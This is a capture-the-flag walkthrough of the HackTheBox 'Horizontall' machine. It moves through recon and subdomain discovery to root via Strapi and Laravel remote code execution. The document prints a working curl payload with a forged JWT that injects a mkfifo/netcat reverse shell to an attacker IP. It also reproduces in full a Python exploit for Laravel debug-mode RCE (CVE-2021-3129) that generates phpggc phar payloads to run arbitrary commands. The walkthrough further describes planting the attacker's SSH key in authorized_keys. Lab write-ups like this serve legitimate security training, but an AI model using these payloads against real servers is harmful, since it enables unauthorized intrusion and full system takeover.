HackTheBox Horizontall
Initial recon
I started by running a nmap scan to identify ports, services and versions.
nmap -sC -sV -T5 $ip
Service research
Port 22
The OpenSSH version running could be vulnerable to username enumeration Exploit DB Poc
this was a rabbit hole that I did not need to come back to in the end
As i do not believe this will grant me the initial foot hold needed to progress on the box I have taken a note of this as it could be used for a later in the attack.
Port 80
Moving onto the web server running it has been identified as nginix 1.14.0 with a underlying host OS of ubuntu. After researching this nginix version I could only find a HTTP2 resource consumption vulnerability so I decided to move on and enumerate more.
From the nmap scan we are also given a domain horzizontall.thb I added this to my host file
sudo nano /etc/hosts
After adding the newly found domain into my host files I entered into my web browser and began to investigate the website. I always check for the following quickly to save time:
*.htb/wp-admin
*.htb/robots.txt
They both returned 404. Further investigating the website none of the navigation bars were working so this lead me too look at the source code where I found two interesting java script files
The first js/chunk returned nothing interesting while looking through so I moved onto the high lighted text.
When first opening the file one thing jumped out at me
Base64 now the next step I take when I am presented with a large messy java script file is to use a java script beautifier to make the content easier to read.
After beautifying the JS i attempted to decode the java script which turned out to be nothing important so I began looking deeper into the rest of the java script when I came across a subdomain
api-prod.horizontall.htb/reviews
I quickly added this to my host file.
Another way I could of discovered this would of been to use gobuster and brute force the vhost
After playing around and looking at what is running I could not find anything so I decided to run a sub directory brute force scan using gobuster gobuster dir --wordlist location -u url.htb
Instantly we found /admin
Seeing that whatever is protected by this login page is some sort of service called "strapi" I decided to google "strapi exploit"
Remote code execution unauthenticated this is perfect. I downloaded the POC code and ran it against the url.
At this is a blind RCE I will need to create a reverse shell to leverage this further
After getting a reverse shell I will need to upgrade the shell
Bonus: We could of exploited this manually by requiring a JWT token(python script does this for us) poc:
curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzE5NzEwLCJleHAiOjE2MzI5MTE3MTB9.AfJr81dyxnmzlutCKArmf0kBgFCcDDhsk91IYNDpTFM' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
make sure to change the IP to your attack IP Now that I have upgraded the shell it's time to hunt for flags
The user flag is normally located in the /home/$username directory in a file called user.txt
Now that we have the user flag the next step is to obtain root and gain the root flag.
After poking around the file system and going through some basic Linux privilege escalation.
- I like to follow the check list provided by hack tricks*
I ran netstat to see the network connections.
Bonus:
You could of also used linpeas to find this or any other command to view network connections like "ss"
We can see port 8000 running on local host this means that we are going to have to forward our request somehow to the service running locally.
How to preform ssh forwarding "port tunnelling"
*First of all we will need to generate some keys on the attack machine. We will do this with the ssh-keygen command.
we are interested in the *.pub file
Now to the victim machine we will also use the ssh-keygen command.
Keeping note of the key in the *.pub file
Then we need to put the attack machines key into the victims machines authorised_keys files. Along with the victims *.pub key into the same authorised_keys files
We must ensure both keys are in there or we wont be able to authenticate*
I had some issue echoing both keys separately into the file so I had to do them together to prevent overwriting I used echo to pipe both the keys into the file
Connecting to SSH now let's authenticate with the below command:
ssh -i ~/.ssh/id_rsa -L 8000:127.0.0.1:8000 strapi@horizontall.htb
We can connect to the local port now so we visit it in our browser
This version of Larvael is vuln to another RCE
exploit the RCE to obtain root and then steal the flags
A look at how CVE:2021-3129 works
POC:
Ambonics blog post did an amazing in-depth job of discussing every step involved you would get true value from reading it:
ambionics.io/blog/laravel-debug-rce
# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References:
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce
#!/usr/bin/env python3
import requests, sys, re, os
header={
"Accept": "application/json"
}
data = {
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
"parameters":{
"variableName":"cm0s",
"viewFile":""
}
}
def clear_log(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
requests.post(url=url, json=data, headers=header, verify=False)
requests.post(url=url, json=data, headers=header, verify=False)
def create_payload(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
return True
return False
def convert(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 200:
return True
return False
def exploited(url='', viewFile=''):
global data
data['parameters']['viewFile'] = viewFile
resp = requests.post(url=url, json=data, headers=header, verify=False)
if resp.status_code == 500 and 'cannot be empty' in resp.text:
m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
print()
print(m[0][1])
def generate_payload(command='', padding=0):
if '/' in command:
command = command.replace('/', '\/')
command = command.replace('\'', '\\\'')
os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
payload = ''
with open('payload.txt', 'r') as fp:
payload = fp.read()
payload = payload.replace('==', '=3D=')
for i in range(padding):
payload += '=00'
os.system('rm -rf payload.txt')
return payload
def main():
if len(sys.argv) < 4:
print('Usage: %s url path-log command\n'%(sys.argv[0]))
print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))
exit(1)
if not os.path.isfile('./phpggc/phpggc'):
print('Phpggc not found!')
print('Run command: git clone https://github.com/ambionics/phpggc.git')
os.system('git clone https://github.com/ambionics/phpggc.git')
url = sys.argv[1]
path_log = sys.argv[2]
command = sys.argv[3]
padding = 0
payload = generate_payload(command, padding)
if not payload:
print('Generate payload error!')
exit(1)
if 'http' not in url and 'https' not in url:
url = 'http'+url
else:
url = url+'/_ignition/execute-solution'
print('\nExploit...')
clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
create_payload(url, 'AA')
create_payload(url, payload)
while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
create_payload(url, 'AA')
padding += 1
payload = generate_payload(command, padding)
create_payload(url, payload)
exploited(url, 'phar://%s'%(path_log))
if __name__ == '__main__':
main()